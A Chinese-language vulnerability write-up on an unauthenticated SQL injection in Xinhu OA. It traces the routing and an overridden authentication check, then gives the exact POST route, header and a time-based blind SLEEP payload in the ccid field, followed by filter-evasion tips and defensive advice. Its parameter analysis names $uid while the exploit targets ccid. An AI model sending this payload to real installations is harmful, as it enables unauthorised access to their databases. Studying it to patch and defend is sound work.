信呼OA前台sql注入分析
字数 1301 2025-09-01 11:26:11
信呼OA前台SQL注入漏洞分析与利用
1. 系统框架与路由分析
1.1 入口文件分析
系统入口文件为index.php,主要包含以下关键组件:
config.php:包含数据库配置文件rockClass类:提供基础过滤功能
1.2 路由处理机制
路由处理主要通过以下流程:
-
获取URL参数:
$_uurl = $rock->get('rewriteurl'); -
get函数处理逻辑:- 参数可控,第一个参数为GET参数名
- 经过
jmuncode函数处理 - 包含SQL注入和XSS防御机制
-
路由解析:
- 如果
$_uurl不为空,清除m,d,a参数 - 将
$_uurl赋值给$m,并以_为分隔符解析为数组
- 如果
-
最终包含
view.php进行路由分发
1.3 路由格式解析
路由格式主要通过以下参数控制:
$p:固定为webmain$m:模块名,格式可为123|abc(123为$m,abc为$_m)$d:目录名$a:方法名$ajaxbool:决定调用Ajax还是Action方法
路由示例1(登录):
?m=login
对应文件:webmain/login/loginAction.php
方法:check (ajaxbool=true)
路由示例2(多级目录):
?a=getrecord&d=task&m=reim|api&ajaxbool=false
对应文件:webmain/task/api/reimAction.php
方法:getrecordAction
2. 鉴权机制分析
系统主要有三类父类实现鉴权:
2.1 apiAction类
- 使用
initAction方法鉴权 - 子类示例:
deptClassAction - 自动触发
initAction方法
2.2 openapiAction类
- 同样使用
initAction方法鉴权 - 比较传入的
openkey与数据库值
2.3 Action类
- 使用
initProject方法鉴权 - 在构造函数中自动触发
重要特性:子类可以重写父类的鉴权方法,如果子类重写了鉴权方法,则执行子类的方法。
3. 漏洞分析
3.1 漏洞位置
漏洞位于:
webmain/model/kqjcmdModel.php
中的savefingerprint函数
3.2 漏洞参数
- 可控参数:
$uid:完全可控$snid:可控但做了int转换
3.3 漏洞触发链
-
调用流程:
postdata() -> savefingerprint() -> rows() -
关键调用点:
webmain/task/openapi/openkqjAction.php中的initAction方法- 该方法重写了父类的鉴权方法,导致未授权访问
3.4 漏洞利用条件
-
请求头设置:
Content-Type: application/json -
POST数据要求:
- 需要满足
if($dtype=='fingerprint')条件 - 需要两层JSON结构:
{ "data": { "dtype": "fingerprint", "ccid": "注入点" } }
- 需要满足
4. 漏洞复现与利用
4.1 利用步骤
-
构造请求路由:
POST /index.php?a=savefingerprint&d=task&m=openkqj|openapi&ajaxbool=true -
设置请求头:
Content-Type: application/json -
构造恶意POST数据:
{ "data": { "dtype": "fingerprint", "ccid": "1' AND (SELECT 1 FROM (SELECT SLEEP(5))a)-- " } }
4.2 注入点说明
ccid参数存在SQL注入- 由于系统有基础过滤,需要绕过:
- 使用报错注入或时间盲注
- 避免使用明显的关键字
5. 防御建议
-
代码层面:
- 对
ccid参数进行严格的类型检查和过滤 - 避免在模型中直接拼接SQL语句
- 对
-
架构层面:
- 统一鉴权机制,避免子类随意重写
- 使用预编译语句或ORM框架
-
运维层面:
- 及时更新补丁
- 部署WAF防护
6. 总结
该漏洞源于:
- 鉴权方法可被重写导致未授权访问
- 模型层直接拼接用户输入导致SQL注入
- 参数过滤不严格
利用该漏洞需要:
- 正确构造路由
- 设置特定的Content-Type
- 构造多层JSON结构
- 在
ccid参数处注入